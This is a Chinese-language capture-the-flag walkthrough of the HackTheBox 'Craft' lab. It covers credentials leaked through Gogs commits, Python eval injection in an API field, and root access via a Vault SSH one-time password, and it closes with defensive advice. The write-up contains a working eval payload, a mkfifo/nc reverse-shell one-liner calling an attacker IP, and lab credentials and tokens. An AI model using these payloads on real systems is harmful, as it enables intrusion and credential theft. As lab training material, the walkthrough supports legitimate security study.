[Meachines] [Medium] Craft gogs+Craft-API+py-eval+vault-toke-SSH权限提升
字数 1237 2025-08-29 08:30:18
Craft 靶机渗透测试教学文档
1. 信息收集
1.1 初始扫描
ip='10.10.10.110';
itf='tun0';
if nmap -Pn -sn "$ip" | grep -q "Host is up"; then
echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m";
ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//');
if [ -n "$ports" ]; then
echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m";
nmap -Pn -sV -sC -p "$ports" "$ip";
else
echo -e "\e[31m[!] No open ports found on $ip.\e[0m";
fi;
else
echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m";
fi
扫描结果:
- 22/tcp: OpenSSH 7.4p1 Debian 10+deb9u6
- 443/tcp: nginx 1.15.8 (SSL证书显示commonName=craft.htb)
- 6022/tcp: SSH (Go1服务)
1.2 主机名解析
echo '10.10.10.110 craft.htb' >> /etc/hosts
echo '10.10.10.110 api.craft.htb gogs.craft.htb' >> /etc/hosts
2. Gogs 服务利用
2.1 访问 Gogs
URL: https://gogs.craft.htb/
在提交历史中发现敏感信息:
- 提交 a2d28ed1554adddfcfb845879bfea09f976ab7c1 中包含凭据:
- 用户名: dinesh
- 密码: 4aUh0A8PbVJxgd
2.2 代码审计
在提交 c414b160578943acfe2e158e89409623f41da4c6 中发现危险代码:
eval('%s > 1' % request.json['abv'])
这是一个Python eval注入漏洞点。
3. Craft API 利用
3.1 获取认证令牌
API登录端点: https://api.craft.htb/api/auth/login
使用发现的凭据获取JWT令牌:
{
"username": "dinesh",
"password": "4aUh0A8PbVJxgd"
}
响应中包含令牌:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiZGluZXNoIiwiZXhwIjoxNzQxNTAxNzY2fQ.b4Wde8XjJQs1UZ9phQCeDWBdtJqsWi0jMxA3hi6GZOY
3.2 利用eval注入执行命令
API端点: POST /api/brew/
请求示例:
POST /api/brew/ HTTP/1.1
Host: api.craft.htb
Content-Length: 122
Accept: application/json
Content-Type: application/json
X-Craft-API-Token: [TOKEN]
{
"id": 0,
"brewer": "x",
"name": "x",
"style": "x",
"abv": "__import__('os').system('ping -c 1 10.10.16.33')"
}
限制:
- 只能使用动态导入(import)
- 无法执行多语句
3.3 获取反向Shell
{
"id": 0,
"brewer": "x",
"name": "x",
"style": "x",
"abv": "__import__('os').system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.33 443 >/tmp/f')"
}
4. 横向移动
4.1 发现数据库凭据
在容器内发现数据库配置:
CRAFT_API_SECRET = 'hz66OCkDtv8G6D'
MYSQL_DATABASE_USER = 'craft'
MYSQL_DATABASE_PASSWORD = 'qLGockJ6G2J75O'
MYSQL_DATABASE_DB = 'craft'
4.2 数据库查询
使用Python脚本查询数据库:
import pymysql
connection = pymysql.connect(
host='db',
user='craft',
password='qLGockJ6G2J75O',
db='craft',
cursorclass=pymysql.cursors.DictCursor
)
def show_tables(cursor):
sql = "SHOW TABLES"
cursor.execute(sql)
tables = cursor.fetchall()
print("\nTables in the database:")
for idx, table in enumerate(tables, start=1):
print(f"{idx}. {table['Tables_in_craft']}")
print("\n")
return tables
def show_table_data(cursor, table_name):
sql = f"SELECT * FROM `{table_name}`"
cursor.execute(sql)
rows = cursor.fetchall()
if rows:
print(f"\nData in table {table_name}:")
columns = rows[0].keys()
print(f"{' | '.join(columns)}")
print("-" * (len(' | '.join(columns))))
for row in rows:
print(' | '.join(str(row[column]) for column in columns))
else:
print(f"\nTable {table_name} is empty.")
print("\n")
def main():
try:
with connection.cursor() as cursor:
while True:
tables = show_tables(cursor)
user_input = input("Enter the number corresponding to the table to view data, or 'exit' to quit: ").strip()
if user_input.lower() == 'exit':
print("Exiting program.")
break
if user_input.isdigit():
table_idx = int(user_input) - 1
if 0 <= table_idx < len(tables):
table_name = tables[table_idx]['Tables_in_craft']
show_table_data(cursor, table_name)
else:
print("Invalid table number. Please try again.")
else:
print("Invalid input. Please enter a valid table number or 'exit'.")
finally:
connection.close()
if __name__ == "__main__":
main()
发现用户凭据:
1 | dinesh | 4aUh0A8PbVJxgd
4 | ebachman | llJ77D8QFkLPQB
5 | gilfoyle | ZEU3N8WNM2rh4T
4.3 登录gilfoyle账户
使用密码 ZEU3N8WNM2rh4T 登录:
- Gogs: https://gogs.craft.htb/user/login
- 获取私钥: https://gogs.craft.htb/gilfoyle/craft-infra/src/master/.ssh/id_rsa
获取user flag:
8acca2cd2d6aa23703904828ba442997
5. 权限提升
5.1 发现Vault令牌
cat .vault-token
# f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9
5.2 使用Vault获取SSH OTP
vault login token:f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9
vault write ssh/creds/root_otp ip=127.0.0.1
# 返回一次性密码: 67ebe3d4-cd6b-6e5c-6803-c635715eee91
5.3 使用OTP登录root
ssh root@127.0.0.1
# 输入一次性密码
获取root flag:
8369706eff98143d8d461826b6282b01
6. 关键知识点总结
-
信息收集:
- 使用masscan和nmap进行端口扫描
- 通过SSL证书发现子域名
-
Gogs利用:
- 检查代码提交历史寻找敏感信息
- 发现硬编码凭据
-
API安全:
- JWT令牌认证机制
- Python eval注入漏洞利用
- 动态导入(import)的限制与绕过
-
数据库利用:
- 从环境变量/配置文件中发现数据库凭据
- 使用pymysql查询数据库
-
横向移动:
- 密码重用攻击
- 通过版本控制系统获取SSH私钥
-
权限提升:
- HashiCorp Vault的基本使用
- OTP(一次性密码)机制
- 通过Vault获取root权限
-
防御建议:
- 避免在代码中硬编码凭据
- 禁止使用eval执行用户输入
- 为Vault令牌设置适当的权限和过期时间
- 使用最小权限原则配置服务账户